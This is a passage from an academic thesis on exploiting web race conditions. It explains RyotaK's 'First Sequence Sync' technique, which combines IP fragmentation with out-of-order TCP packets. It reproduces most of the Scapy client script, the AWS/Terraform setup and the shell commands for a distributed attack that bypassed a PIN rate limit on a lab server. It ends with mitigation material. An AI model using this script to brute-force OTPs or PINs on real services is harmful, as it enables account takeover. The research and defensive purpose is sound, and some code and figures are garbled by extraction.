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encompasses also the transport and network headers, for example the TCP and IP
ones. In order to derive the MSS, which is the size of the "data" part of the packet,
we apply the following formula:

MSS = MT U − (IP head + T CP head)

As an example, imagine that a router has an MTU of 1.500. Knowing that typically
the TCP and IP header are 20 bytes long, the corresponding MSS can be obtained
as:

MSS = 1500 − (20 + 20) = 1460

Thus, packets whose data size is larger than 1460 bytes will be dropped automat-
ically. It’s important to underline that the MSS can be used independently on
both way of communication. Devices do not negotiate the MSS; the actual MSS is
selected based on the endpoint’s buffer and outgoing interface MTU [53]. This can
be seen in figure 5.2.

Figure 5.2: Client and server announce their respective MSS.

The choice of the MSS is very important to optimize the performances of the
network. This parameter maximizes the amount of data that can be sent in a single
packet, minimizing the overhead introduced by network protocol’s header. It is
typically believed that the standard value for the MSS is 1500 bytes, but this is
just a convention adopted because of Ethernet systems during the 20th century.
In IPv4, the maximum value available for the MSS is 65.495 bytes, considering
that the available datagram space is 2^16 bytes and that nowadays the headers are
typically 32 bytes long. The single packet attack has a limitation of 1.500 bytes for
the MSS, but by raising this value to 65495 we would be able to add more requests
in the last packets.
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Another important optimization performed by the MSS is that it avoids over-
sized segments, that are typically fragmented by routers, adding other overhead
to the network. Fragmentation is a common problem regarding the MTU metric;
while a packet that is larger than the MSS is not delivered, one that exceed the
MTU is broken into smaller pieces. This process happens at the IP layer, and the
new packets are marked so that the destination knows how to reassemble them.
Fragmentation is not always supported by applications, and since it also adds
overhead, it should typically be avoided by choosing a good MSS. However, in this
scenario, IP Fragmentation can be an important tool for expanding our attack’s
capacity.

Figure 5.3: Packet reordering. [54]

The second technique suggested by Kettle is sending the TCP packets out-
of-order (fig. 5.3). In general, packet reordering defines the phenomenon where
packets arrive at destination in a different sequence with respect to the sending one.
This is typically due to network jitter or particular situations over the network,
like load balancing, parallel processing or the presence of multiple paths. Learning
to manage packets out-of-order is an important subject, and each application deals
with it differently. Some protocols may inherently avoid it, like TCP. TCP is a
reliable, connection-oriented protocol that ensures that the messages arrive to the
computer in an ordered and error-free way [54]. TCP uses two techniques to ensure
that the packets are ordered correctly: each packet is tied to a sequence number,
that allows the receiver to reorder the packets at the end of the transmission. It
also employs ACK messages, used to communicate to the sender which packet is
expected next, implicitly saying which has been just received and if there were any

52



Extending the Attack’s Request Capacity

error in ordering.

When TCP packets are received out-of-order, they are not acknowledged or passed
to the application layer. Rather, they are buffered until the right sequence can be
reconstructed either by delayed packets or by retransmitted ones. The receiver uses
the sequence number to determine the right order, and once the missing packets
arrive it creates the correct message and forwards it to the application layer. In
this work, reordering the packets to trigger a buffer and delay the final arrival
of the packets at the server can be a useful strategy to allow more packets to be
processed concurrently once the final sequence is completed.

5.2 First-Sequence Sync: an Overview

These techniques were both used by the security engineer "RyotaK", who improved
the single-packet attack so that it could break both the 1500 and the 65.535 byte
limit imposed by the MSS of the TCP protocol and deliver concurrently a huge
amount of requests in a minimal time frame [55]. The attack that he designed is
called "First Sequence Sync".

RyotaK wanted to overcome the limitations of the single-packet attack; in particular
the limited amount of concurrent requests that can be sent to the application’s
backend. In the original research, Kettle presented a limit of 1500 bytes for his
implementation’s packet size; meaning that with the last TCP packet he was
able to deliver to the server at most 30 requests in parallel. As explained in
the previous section, this limit is related to the Ethernet frame, which encap-
sulates the IP packet which in turn encapsulates the TCP packet. Since the
maximum size of the Ethernet frame is 1518 bytes, and the the header and the
Frame Check Sequence are 14 bytes and 4 bytes long, respectively, we find out that
the maximum size of the IP packet encapsulated is 1500 bytes. Check out figure 5.4.

At the same time, however, the previous section also highlighted that the TCP
packet size can reach up to 65535 bytes. But how could a packet this large be
encapsulated in a 1500-bytes IP packet? The solution was also presented previously:
through IP fragmentation! This technique splits the original IP packet into smaller
instances, which are encapsulated into Ethernet frames and taken to destination.
The receiver will notice that the packets are the result of a fragmentation process
and will wait until all of them are collected before sending the complete message to
the TCP layer. This allows sending to a server messages that use all the available
TCP size, surpassing the 1500 bytes limit.
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Figure 5.4: The limit of 1500 bytes visually explained. [55]

Now that it is possible to send larger packets, we still need to find a way to
send these packets concurrently, or at least in a way that makes them look con-
current to the server. Here enters the second technique: TCP reordering. By
exploiting the TCP sequence number we can send packets out-of-order, having
them processed only when the entire flow has successfully reached the application.
Combining these two strategies results in an attack that can ben summed up as
follows:

• First, the client opens a TCP channel with the destination, requesting the use
of HTTP/2.

• The client sends request data except for the last byte of each request. This is
exactly what happened with the single-packet attack.

• Now, the attacker will create a large TCP packet (up to 65535 bytes) which
contains all the last bytes of the requests he previously sent.

• Using IP fragmentation, the big packet is split into smaller TCP ones and sent
to the application, with the exception of the packet with the first sequence
number.

• Once all the TCP packets with the last bytes arrive to the server, the attacker
will send the TCP packet with the first sequence number.

• The server completes the big TCP packet, which in turn completes the single-
packet attack data.

Like in the original technique, the last bytes allow the backend to start processing
the request batch sent at the beginning. This time however, the number of requests
you can send as a single-packet has increased exponentially.
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(a) Send request data without last bytes. (b) Send last packet without first sequence.

(c) Send the first sequence to make the server process the data.

Figure 5.5: The First Sequence Sync in its various phases. [55]

It is important to point out that this technique has its limitations; the number of
requests that one can send to a server concurrently depends on a couple of factors.
The first is the TCP buffer size of the server; the buffer is the place the server stores
the packets that arrive out-of-order, so this component needs to be large enough.
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In most cases this is not a problem, as modern servers have a large RAM and a
buffer capable of storing packets by default. Another issue, however, may derive
from the SETTINGS_MAX_CONCURRENT_STREAMS setting in HTTP/2,
that specifies the number of requests a server can process on one connection. This
is crucial for this implementation, as we need only one connection to use the first
sequence sync. The table 5.1 shows the typical value of this parameter for the most
popular servers:

Implementation Max Concurrent Streams
Apache httpd 100

Nginx 128
Go 250

nghttp2 4294967295
Node.js 4294967295

Table 5.1: Max concurrent streams for popular servers.

After explaining the theory behind this attack, the next section presents how it
works in practice, and how it can be leveraged to maximize the request output of
our infrastructure.

5.3 Implementation and Tuning for the OTP Use
Case

The first sequence sync is based on the use—or, in this case, abuse—of methods
belonging to the TCP and HTTP/2 protocols. In order to test his assumptions,
RyotaK developed a benchmark situation that could provide insight on the correct-
ness of his implementation. This simple experiment provides guidelines on how the
first sequence sync works and how it can be adapted to this work’s objectives.

First of all, RyotaK created an environment for his test. Like in this thesis,
the developed infrastructure uses AWS resources and is made up of a client (who
will perform the attack) and a server. Both machines have a Linux OS, but the
server uses a c5a.4xlarge instance to handle the amount of requests sent by the
client during the attack. Most importantly, however, the two devices are created in
separated regions: the server is located in São Paulo (Brazil), while the client will
be instantiated in Japan; this setup highlights that the attack is not influenced by
the geographical distance the two devices.
The attack is ready to be tested, but how does it work?
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This analysis focuses on the client script, as it initiates the attack and it is
more relevant for this thesis. The server machine is initialized and managed via a
Go language script that defines its behaviour once a request arrives. On the client
side, the script can be divided into a couple of sections. The first section is the
initialization phase; in this part, the script includes the needed dependencies and
parses the arguments received via command line, in this case the IP address of the
target, the port it is listening on, and the number of requests the attacker wants to
send.

Listing 5.1: rc-benchmark-client.py(1)
1 import time
2 from scapy . a l l import send , TCP, RandShort , IP , sr1 , fragment
3 from scapy . con t r i b . http2 import H2_CLIENT_CONNECTION_PREFACE, H2Frame

, H2SettingsFrame , H2Setting , HPackHdrTable , H2DataFrame , H2Seq
4 import argparse
5

6 par s e r = argparse . ArgumentParser ( )
7 par s e r . add_argument ( ’ ip ’ , he lp=’ IP address o f the s e r v e r ’ )
8 par s e r . add_argument ( ’ port ’ , he lp=’ Port o f the s e r v e r ’ , type=i n t )
9 par s e r . add_argument ( ’ amount ’ , he lp=’Amount o f r eque s t s to send ’ , type

=i n t )
10 args = par s e r . parse_args ( )
11

12 target_ip = args . ip
13 target_port = args . port
14 req_amount = args . amount

Next, the script is used to open the TCP connection: it creates an IP packet
and a SYN packet for the handshake (the ip and tcp variables); the packets are
sent and the SYN/ACK of the server is received (syn_ack variable); lastly, the
client sends the ACK in response to the server’s previous message, updating the
values in the tcp variable.

Listing 5.2: rc-benchmark-client.py(2)
1 tcp = TCP( spor t=i n t ( RandShort ( ) ) , dport=target_port , f l a g s="S " ,
2 seq =1000 , window=65535)
3 ip = IP ( dst=target_ip )
4

5 # SYN/ACK
6 syn = ip / tcp
7 syn_ack = sr1 ( syn )
8 tcp_window = syn_ack . window
9 pr in t ( " Using %d as the TCP window s i z e " % tcp_window )

10
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11 tcp . seq += 1
12 tcp . ack = syn_ack . seq + 1
13 tcp . f l a g s = ’A ’
14 ack = ip / tcp
15 send ( ack )
16

17 pr in t ( " [+] Es tab l i shed the connect ion to the t a r g e t ! " )

During this phase, it is crucial that the client does not send a RST packet to the
server. The TCP handshake is executed through Scapy, a packet manipulator
library present in Python, but this creates problems with the machine’s kernel.
Since the SYN is sent from Scapy and not the kernel, when the client receives the
SYN/ACK from the server, the kernel does not acknowledge the connection and
instead answers with an RST packet, which will close the channel. Thus, to solve
the issue, we need to prevent the client from sending the RST packet using the
following command:
iptables -A OUTPUT -p tcp --tcp-flags RST RST -s [IP] -j DROP

The third part is dedicated to opening the HTTP/2 channel. In order to
do this, the client should first send a "connection preface", which is a constant
string used to prove to the server that the HTTP/2 protocol is understood. Then
the client has to send two distinct frames: the first contains his own settings for
the HTTP/2 protocol; the second is the acknowledgment of the server’s HTTP/2
settings (note the "A" flag set).

Listing 5.3: rc-benchmark-client.py(3)
1 http2_preface = ip / tcp /H2_CLIENT_CONNECTION_PREFACE
2 send ( http2_preface )
3 tcp . seq += len (H2_CLIENT_CONNECTION_PREFACE)
4

5 h2_sett ings = [
6 # SETTINGS_HEADER_TABLE_SIZE
7 H2Setting ( id =1, va lue =4096) ,
8 # SETTINGS_ENABLE_PUSH
9 H2Setting ( id =2, va lue =0) ,

10 # SETTINGS_MAX_CONCURRENT_STREAMS
11 H2Setting ( id =3, va lue =2∗∗32−1) ,
12 ]
13

14 h2_settings_frame = H2Frame ( ) /H2SettingsFrame ( s e t t i n g s=h2_sett ings )
15 send ( ip / tcp / h2_settings_frame )
16 tcp . seq += len ( h2_settings_frame )
17

18 h2_settings_ack_frame = H2Frame( f l a g s ={ ’A ’ }) / H2SettingsFrame ( )
19 send ( ip / tcp / h2_settings_ack_frame )
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20 tcp . seq += len ( h2_settings_ack_frame )

With the connections established, the script can build the frames for the attack.
In the benchmark case, the process consists only in creating HTTP/2 POST
requests to send to the server. Another important detail in this part is that the
last byte of each frame is withheld in order to avoid the processing of the requests
by the server, similar to what happened for the single-packet attack. Here the
initial_frames variable, which contains the incomplete request frames, and the
last_byte_frames variable, which collects the last bytes of all the requests, are
created. Note that the ES flag is set only for the last bytes, as it would announce
to the server that the stream is closing.

Listing 5.4: rc-benchmark-client.py(4)
1 i n i t i a l _ f r a m e s = [ ]
2 last_byte_frames = [ ]
3 pr in t ( " [+] Bui ld ing frames . . . " )
4

5 f o r i in range ( req_amount ) :
6 body = bytes ( s t r ( i ) , ’ ut f −8 ’ )
7 h2_headers = [
8 ( ’ Content−Length ’ , s t r ( l en ( body ) ) ) ,
9 ]

10 spec ia l_header s = [
11 ( ’ : method ’ , ’POST ’ ) ,
12 ( ’ : scheme ’ , ’ http ’ ) ,
13 ( ’ : path ’ , ’ / ’ ) ,
14 ( ’ : au thor i ty ’ , "%s :%d" % ( target_ip , target_port ) ) ,
15 ]
16

17 spec ia l_header s_st r = " \n " . j o i n ( [ f " {k} {v} " f o r k , v in
spec ia l_header s ] )

18 headers_str = " \n " . j o i n ( [ f " {k } : {v} " f o r k , v in h2_headers ] )
19 stream_id = ( i +1)∗2−1
20 http2_frame = HPackHdrTable ( ) . parse_txt_hdrs ( bytes (

spec ia l_header s_st r+" \n " +
21 headers_str , ’

ut f −8 ’ ) , stream_id=stream_id , body=body )
22

23 # remove a l a s t byte from http2_frame f o r the l a s t byte sync
24 data_frame = http2_frame . frames [ −1]
25 l as t_byte = data_frame . data [ −1 : ]
26 data_frame . f l a g s . remove ( ’ES ’ )
27 data_frame . data = data_frame . data [ : −1 ]
28 http2_frame . frames [ −1] = data_frame
29

30 i n i t i a l _ f r a m e s . append ( http2_frame )
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31 last_byte_data_frame = H2Frame( stream_id=stream_id , f l a g s ={
32 ’ES ’ }) / H2DataFrame( data=

last_byte )
33 last_byte_frames . append ( last_byte_data_frame )
34

35 pr in t ( " [+] Packing the frames . . . ( I t may take a few minutes . . . ) " )

The fifth step of the attack is to group the HTTP/2 frames together in packets,
in order to maximize the number of concurrent requests one can send. For this
purpose, a simple function is created; this piece of code just checks if the size of
the frame is available in that packet’s window; otherwise, it is just appended into
another packet. At the end of the process, the packets that contain the incomplete
requests and the packets that contain the last bytes are available.

Listing 5.5: rc-benchmark-client.py(5)
1 de f pack_frames_to_seq ( frames ) :
2 packets = [ ]
3 current_seq = H2Seq ( )
4 tcp_len = len ( tcp )
5 seq_len = len ( current_seq )
6 frames_len = 0
7 f o r frame in frames :
8 frames_len += len ( frame )
9 i f tcp_len + seq_len + frames_len >= tcp_window :

10 packets . append ( fragment ( ip / tcp / current_seq ) )
11 tcp . seq += len ( current_seq )
12 tcp_len = len ( tcp )
13 current_seq = H2Seq ( )
14 current_seq . frames . append ( frame )
15 frames_len = len ( frame )
16 cont inue
17 e l s e :
18 current_seq . frames . append ( frame )
19

20 i f l en ( current_seq . frames ) != 0 :
21 packets . append ( fragment ( ip / tcp / current_seq ) )
22 tcp . seq += len ( current_seq )
23

24 re turn packets
25

26 i n i t i a l _ p a c k e t s = pack_frames_to_seq ( i n i t i a l _ f r a m e s )
27 last_byte_packets = pack_frames_to_seq ( last_byte_frames )

Now, the attack can finally be carried out. At first the initial packets are sent;
however, they cannot be processed by the server as each request lacks the last

60



Extending the Attack’s Request Capacity

byte. Then, the last bytes are sent. In this case too, they cannot be processed
immediately because the TCP packet containing the first sequence number has not
been sent yet. Thus the final frames will be stored in the buffer and not processed
until the first packet arrives. After waiting for all the requests to arrive at the
server, the last packet—which contains the first sequence number—is sent.

Listing 5.6: rc-benchmark-client.py(6)
1 pr in t ( " [+] Sending i n i t i a l packets . . . " )
2 f o r fragments in i n i t i a l _ p a c k e t s :
3 f o r f r ag in fragments :
4 send ( f r a g )
5

6

7 pr in t ( " [+] Sending l a s t byte packets . . . " )
8 f o r fragments in last_byte_packets [ 1 : ] :
9 f o r f r ag in fragments :

10 send ( f r a g )
11

12 f ragments = last_byte_packets [ 0 ]
13 f o r f r ag in fragments [ : − 1 ] :
14 send ( f r a g )
15

16 pr in t ( " [+] Sending the l a s t packet in 3 seconds . . . " )
17 time . s l e e p (3 )
18 # send l a s t packet
19 send ( fragments [ −1])
20

21 pr in t ( " [+] Done ! " )

The benchmark code also includes an additional part aimed at retrieving the results
from the server. To sum up briefly the algorithm behind the code used for the
attack:

1. Parse the command line arguments to obtain the target IP, number of requests
to send, etc.

2. Open TCP and HTTP/2 connections.

3. Build the frame, creating the requests by hand, and withhold the last bytes of
each request.

4. Pack the HTTP packets together.

5. Send the requests without the last bytes, then the last frames without the
first sequence number’s frame.

6. Send the last packet and retrieve the results.
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The results of this benchmark validate RyotaK assumptions and the inherent
potential behind this technique. Through this attack, he was able to send 10000
requests in the space of 166 milliseconds, with a time difference between each
request amounting to 16 milliseconds! Table 5.2 presents the other outstanding
results in timing of this benchmark.

Metrics Value
Total time 166,460500 ms

Average time between requests 16647 ns
Max time between requests 0.553627 ns

Median time between requests 14221 ns
Min time between requests 220 ns

Table 5.2: Benchmark timing results

In his article [55], RyotaK also added a second benchmark; this one is built on
a use case that is very relevant with this thesis: it involves, in fact, breaking the
rate limit behind a PIN-based authentication method. The code used is basically
the same as what was employed in the original benchmark; there are just two main
differences: the script here receives the user ID from the command line; also, the
request built by hand in the fourth phase is, this time, a POST with the ID and
the PIN values parameterized in the body.

The results of this second benchmark are extremely interesting; with a rate-limit
imposed at 5 requests, the attacker is able to make the server process approximately
1000 distinct tries. This highlights the hidden power of this approach—a capacity
that can be exploited for our purposes in the following chapter, which will focus on
the practical aspects of this thesis.
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Chapter 6

Testing out the Attack

In this chapter, all the previous notions and tools will be put together in order to
test the correctness of this thesis’s assumptions. The aim is both to prove that the
designed distributed attack is able to surpass James Kettle’s single-packet attack in
the number of concurrent requests delivered to a server, and to demonstrate that
the developed technique makes a password or OTP bypass possible in a scenario
where a rate limit defense is in place.

6.1 Benchmarking the number of concurrent re-
quests

In this first test, like in RyotaK case, the attack will be carried out against a web
server in order to see how many requests can be sent concurrently in the shortest
amount of time.

To design a web server we are once again resorting to Terraform and AWS cloud
resources. For this test the server machine has been set up using an AMI based on
an Amazon Linux 2 platform and a x86_64 architecture. It also employs an Elastic
Block Storage (EBS) for advanced features on block-level storage and a Hardware
Virtual Machine (HVM) paradigm, which means that the server instance is actually
running on the underlying physical hardware, enhancing overall performance. The
reason behind this choice is to have a machine that runs with the latest and most
efficient setting possible. Lastly, the server has been instantiated in the us-east-1
region and is structured as a c5a.4xlarge instance type; this provides a realistic
scenario for the server, since it offers 32.0 GiB of memory, 16 vCPUs and up to 10
Gigabit of network performance.

Listing 6.1: Web Server Terraform Settings
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1 v a r i a b l e " instance_type " {
2 d e s c r i p t i o n = "The type o f EC2 in s t anc e used to c r e a t e the in s t anc e

. "
3 type = s t r i n g
4 d e f a u l t = " c5a . 4 x l a rg e "
5 }
6

7 #add a data source f o r the AMI:
8 data " aws_ami " " amazon−l i nux " {
9 most_recent = true

10 owners = [ " amazon " ]
11

12 f i l t e r {
13 name = "name"
14 va lue s = [ " amzn2−ami−hvm−∗−x86_64−ebs " ]
15 }
16 }
17 # c r e a t e the i n s t a n c e s
18 r e s ou r c e " aws_instance " " terra_ec2 " {
19 ami = data . aws_ami . amazon−l i nux . id
20 instance_type = var . instance_type
21 a v a i l a b i l i t y _ z o n e = var . a v a i l a b i l i t y _ z o n e
22

23 network_inter face {
24 device_index = 0
25 network_inter face_id = aws_network_interface . t e r ra_net_ inte r f a ce .

id
26 }
27

28 user_data = f i l e ( " ${path . module}/ user_data . sh " )
29

30 tags = {
31 name = " web_server "
32 }
33 }

On the server, the same setup used by RyotaK has been implemented. This was
possible by cloning on our instance his GitHub repository [55]. In this benchmark
test, the target will be a GO server running on port 8080 of the previously designed
instance. In order to make this target active and running then, it is required to
install both the Git software and the Go programming language dependencies. This
can be achieved either by modifying via Terraform the user\_data.sh file or by
connecting to our machine via SSH and use the following commands in its shell:

Listing 6.2: Web Server shell script
1 #i n s t a l l g i t and Go
2 sudo yum −y i n s t a l l golang
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3 sudo yum −y i n s t a l l g i t
4 go ve r s i on
5 g i t v e r s i on
6

7 #Clone s e r v e r :
8 g i t c l one https : // github . com/Ry0taK/ f i r s t −sequence−sync . g i t
9 cd f i r s t −sequence−sync / rc−benchmark

10 go run rc−benchmark . go

RyotaK Go server implementation already has everything correctly prepared for
setting up client-server connections, receiving HTTP/2 requests and performing
some time measurements of the attack’s behavior. The only thing that is left is to
prepare the client side infrastructure.

On the client side, we are adopting a similar architecture to the one described
previously in Chapter 4. The main difference is that we are deploying 6 machines
and, still using the t2.micro instance type, we are adopting a more performing
AMI; the chosen one is the same used on the server side, as it is the latest version of
an Amazon Linux 2 instance. Also in this case we are deploying our infrastructure
in the us-east-1 region; reducing the distance between the client and its target is in
fact a best practice that ensures that the HTTP requests we are going to send will
arrive in the shortest amount of time as possible. As stated in previous chapters,
Terraform and AWS cloud enables us to deploy our client as close to our target as
possible, which is highly valuable when carrying out an attack aimed at exploiting
a server’s race condition.

As described in Chapter 5, RyotaK python script designs a brute-force attack
that implements this new technique: the first sequence sync. On the deployed
machines then, we can clone once again his repository, install the required depen-
dencies, and launch his script to carry out our attack in the most effective manner.
In order to launch the same command across all our instances at the same time,
which is critical for starting a successful attack, we can adopt another one of the
AWS services: the AWS Systems Manager feature. This AWS API allows users
to pass a shell command to multiple EC2 instances, as long as they possess an AWS
Systems Manager Agent installed. Luckily, many of AWS AMI already have this
feature set up, so all that we need to do is add to our instances an IAM instance
profile, which is a security measure that ensures that a certain entity can make a
series of specified operations. We can achieve this via Terraform:

Listing 6.3: Client Terraform modifications
1 v a r i a b l e " iam_role " {
2 d e s c r i p t i o n = "The IAM r o l e r e l a t e d to the in s t anc e in order to

perform t e s t i n g with i t . "
3 type = s t r i n g
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4 d e f a u l t = " SSMInstanceProf i l e "
5 }
6 # c r e a t e an ubuntu s e r v e r and i n s t a l l / enable apache2
7 r e s ou r c e " aws_instance " " terra_ec2 " {
8 count = 6
9 ami = data . aws_ami . amazon−l i nux . id

10 i am_instance_pro f i l e = var . iam_role
11 instance_type = var . instance_type
12 a v a i l a b i l i t y _ z o n e = var . a v a i l a b i l i t y _ z o n e
13

14 network_inter face {
15 device_index = 0
16 network_inter face_id = aws_network_interface . t e r ra_net_ inte r f a ce [

count . index ] . id
17 }
18

19 user_data = f i l e ( " ${path . module}/ user_data . sh " )
20

21 tags = {
22 name = " web_server "
23 }
24 }

Once the IAM profile has been set up for each of our instances, we can access the
System Manager API and choose to use the AWS-RunShellScript command. Here,
we are going to provide the shell commands we are going to execute across the
whole infrastructure; in our case, not only we need to install Git and clone RyotaK
repository, but we also need to install the scapy packet manipulation program for
the python environment. Lastly, as stated in the previous chapter, since the client
script uses scapy to open and manage the connection with the server, we need to
avoid the eventuality of the instance’s kernel sending the RST packet back to the
server, closing the connection and making the preventing the HTTP requests from
arriving at the server. Once all the dependencies have been downloaded on our
infrastructure, we can carry out our attack. The used commands are listed in the
below snippet:

Listing 6.4: Client-side commands
1 #I n s t a l l s c r i p t :
2 sudo yum −y i n s t a l l g i t
3 g i t c l one https : // github . com/Ry0taK/ f i r s t −sequence−sync . g i t
4

5 #I n s t a l l scapy with dependenc ies :
6 sudo yum −y i n s t a l l l ibpcap −deve l
7 sudo pip3 i n s t a l l scapy
8

9 #Prevent RST packet :
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10 sudo i p t a b l e s −I OUTPUT −p tcp −−tcp−f l a g s ALL RST −j DROP
11

12 #Performing the attack :
13 cd f i r s t −sequence−sync / rc−benchmark
14 sudo python3 rc−benchmark−c l i e n t . py [ ServerIP ] 8080 [ ReqAmount ]

After a series of test with different requests amount, it has been observed that the
maximum number of requests one instance can send concurrently to the server
is 146. Any number higher than that causes an interesting phenomenon: the
server does indeed receive the HTTP/2 requests, as checked through the tcpdump
command, but it is not able to process the packets. This is surely due to the
peculiarity of our set up, probably caused by a wrong configuration of the TCP
window, or a lack of space in the buffer memory. Whatever the case, even with
much smaller numbers, this test succeeds in proving that, with the deployment of a
distributed infrastructure and the adoption of the first sequence sync, an attacker
is able to flood a server with concurrent requests. The results of the attack are
reported in table 6.1.

Metrics Value
Total requests 876

Total instance requests 146
Total time 510,276022 ms

Average time between requests 0,583172 ms
Max time between requests 354,691734 ms

Median time between requests 11910 ns
Min time between requests 570 ns

Table 6.1: First test timing results

In just 500 ms the Go web server receives almost 1000 requests; with similar
timing performances, any race condition in a web application environment can be
exploited. Moreover, by tuning this set up in order to exploit the full potential
of the technique showed by RyotaK, an attacker could deliberately and easily
send 60.000 requests to a web server. If we are dealing with a six digits OTP,
which means 106 overall possible combinations, we would have tried the 6% of all
possible codes. By using a larger pool of instances we would raise immensely our
exploit’s possibilities; for example, with 20 instances an attacker has one probability
of success every 5 codes. The brute-force attack described in previous sections
becomes much more achievable when dealing with these numbers.
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6.2 Pin Bypass on a web server

The second test described here has the objective of verifying that the attack imple-
mented in this study is capable to perform an OTP bypass in a situation where
rate limiting is in place.

On the client side, the infrastructure does not need to be changed; the attack is
still going to be carried out using a RyotaK python script, adapted for the occasion,
and the Scapy library in Python. The only difference is that we are going to modify
the code in such a way that it will submit to the server all possible combinations of
a 3 digits PIN code, stored in a PostgreSQL database, and associated to a specific
user ID.

On the server side instance, however, a couple of adjustments have to be made.
First of all, this time the Go server will create a PIN for a user and store it on
the backend database, which is implemented with PostgreSQL. Moreover, the
web server interacts with a Redis service to access the aforementioned database.
In order to deploy this infrastructure, a .yaml file is available in the repository,
allowing to creation and set up of these services through the use of Docker and in
particular, its "compose" tool. This function allows the user to create containers
that will host the specified services, and to run them in the preferred configurations.
The YAML programming language offers instead the possibility to serialize data,
but it is mainly used to describe the structure of a target service. To sum up, for
starting correctly our server instance we need the following commands:

Listing 6.5: Pin bypass Server setup
1 #I n s t a l l Go and Git
2 sudo yum −y i n s t a l l golang
3 sudo yum −y i n s t a l l g i t
4 g i t c l one https : // github . com/Ry0taK/ f i r s t −sequence−sync . g i t
5

6 #I n s t a l l Docker and docker−compose :
7 sudo yum −y i n s t a l l docker
8 sudo pip3 i s n t a l l docker−compose
9 sudo sys t emct l s t a r t docker . s e r v i c e

10

11 #Add docker−compose to the PATH:
12 sudo ln −s / usr / l o c a l / bin / docker−compose / usr / bin / docker−compose
13

14 #In case o f t r oub l e shoo t i ng with the docker−compose s e r v i c e because
o f OpenSSl use :

15 sudo pip3 i n s t a l l u r l l i b 3 ==1.26.6
16

17 #l a s t l y , bu i ld the PostgreSQL and Redis s e r v i c e from the . yaml f i l e :
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18 cd f i r s t −sequence−sync / rc−pin−bypass
19 sudo docker−compose up
20

21 #In another s h e l l , s t a r t the Go s e r v e r :
22 cd f i r s t −sequence−sync / rc−pin−bypass
23 go run .

Once everything is set up on the server, it will print on the console the user ID and
the corresponding value of the PIN that the attacker wants to find. By deploying
the client infrastructure, the new attack can now be carried out.

Listing 6.6: Client-side commands
1 #I n s t a l l s c r i p t :
2 sudo yum −y i n s t a l l g i t
3 g i t c l one https : // github . com/Dexef22/ f i r s t −sequence−sync2 . g i t
4

5 #I n s t a l l scapy with dependenc ies :
6 sudo yum −y i n s t a l l l ibpcap −deve l
7 sudo pip3 i n s t a l l scapy
8

9 #Prevent RST packet :
10 sudo i p t a b l e s −I OUTPUT −p tcp −−tcp−f l a g s ALL RST −j DROP
11

12 #Performing the attack :
13 cd f i r s t −sequence−sync2
14 sudo python3 rc−pin−bypass−c l i e n t . py [ ServerIP ] 8080 [ ReqAmount ] [

UserID ]

Once again, the attack is limited by the configuration used, which forces the client
instances to send a maximum number of 146 requests each for a total of 876 requests.
Normally, this number of requests would give the attacker the certainty of having
found the right 3-digit PIN in most of the cases, however here the server uses a
rate limit of 5 requests to avoid brute forcing attacks. Nevertheless, by using the
first sequence sync technique, an attacker can exploit a race condition on the server
and bypass the imposed rate limit, allowing more requests to be processed than
what was though possible by the web server. With our set up of 6 machines, we
were able to try out 355 different possibilities of the total 876 sent by the client
infrastructure. This result becomes much more relevant when compared to the
request number that should have been originally permitted by the rate limit; with
6 instances, each behaving as a different user, the server would in fact be expecting
not more than 30 requests. Instead, by leveraging on the infrastructure developed
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during this thesis and on the techniques previously described, the attacker was able
to submit to the backend more than tenfold that number.

Figure 6.1: Results of the PIN bypass test. Even with less requests, the attacker
was still able to find the PIN.

It is certainly true that with a longer code this test would have not reached the
expected outcome. However, by adopting a setup capable of obtaining the true
potential behind the first sequence sync, as the number of requests landing on the
server increases, it is realistic to assume that the amount of requests bypassing
the rate limit would also rise. When that setup is used in conjunction with a
distributed infrastructure like the one developed during the course of these pages, it
is safe to assume that an attacker would definitely have a good chance at guessing
a longer PIN code, an OTP or even a whole password.
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Chapter 7

Mitigations to the Race
Problem

Race conditions can pose important threats to web application systems. Web
developers should be encouraged to understand these issues and to learn the
primary ways in which to avoid them, and in the following sections, some possible
remedies are presented.

7.1 Avoiding local Race Conditions
As mentioned in the previous chapters, race conditions are inherently tied to multi-
threading and to parallel execution, phenomena that happen in the system due
to the distributed nature of web applications. The same server, in fact, typically
has to manage a great deal of requests coming from all sorts of users on distinct
channels. Moreover, an attacker can send requests concurrently on purpose to find
a race window to exploit. In other terms, web developers have to learn how to deal
with parallelism in a way that avoids concurrent access to shared resources.

The synchronization problem has always been present, since the first adoption of
the thread paradigm. Over the years, different methods have been implemented in
order to avoid race conditions or deadlocks caused by threads’ interaction. These
techniques are very common in an OS environment or when managing locally
executing code; however, they are much less known—and thus, used—during a
web application’s development. This could be caused both by a misunderstanding
of the importance of parallelism in web systems and by an erroneous perception
that these kinds of situations cannot present themselves in this sort of environment.
This study has thoroughly examined the former relationship, and the latter belief
has been proven wrong by the attacks that have been illustrated. So, how can
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developers protect their applications—and most importantly—their users?

The main resource to develop a thread-safe program is the mutex, whose name
stands for "mutual exclusion". It is a synchronization primitive that ensures that
only one thread at a time can access a portion of code or a shared resource. Once
a thread acquires a mutex, it is free to perform its operations without interference,
as the other threads that try to access that resource will be blocked until the mutex
is released. This solution is preferred when strict control over resource access is
needed, such as for updates or access to shared resources. Mutex can, however,
lead to bottlenecks, as threads may have to wait for significant time until a lock is
released.

Figure 7.1: An example of mutex in action

In RHE Linux, mutex are divided into two groups: standard, which are private,
non-robust (meaning that they have to be manually released), non-recursive, and
do not support priority inheritance; and advanced, which have additional character-
istics like the possibility to have shared mutex or to release the lock automatically
when the thread finishes. In the .NET environment, mutexes are commonly created
through the Mutex class, which also allows inter-process synchronization through
mutex.

Another important primitive is the semaphore. Semaphores are very similar
to mutex in their behavior, but with a major difference: they can manage simul-
taneous access for multiple threads for the same shared resource. Along with the
lock, the mechanism keeps a counter that keeps track of how many threads can
access the relative resource. At each new access, the counter is decremented, and
vice versa when a thread releases the lock. This synchronization primitive is useful
when a limited number of resources is available for multiple threads; for example,
a semaphore may be used to limit the number of active threads at a given moment.
Semaphores, however, may lead to problems like deadlocks if not used correctly.
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The .NET environment uses the classes Semaphore and SemaphoreSlim to represent
this type of mechanism; the difference is that the second class cannot be used when
different processes are running in parallel.

Listing 7.1: managing semaphores in C#
1 us ing System ;
2 us ing System . Threading ;
3

4 c l a s s Program
5 {
6 s t a t i c SemaphoreSlim semaphore = new SemaphoreSlim (3) ; // Allows

up to 3 threads to ente r
7

8 s t a t i c void Main ( s t r i n g [ ] a rgs )
9 {

10 f o r ( i n t i = 0 ; i < 10 ; i++)
11 {
12 Thread t = new Thread ( EnterSemaphore ) ;
13 t . S ta r t ( i ) ;
14 }
15 }
16

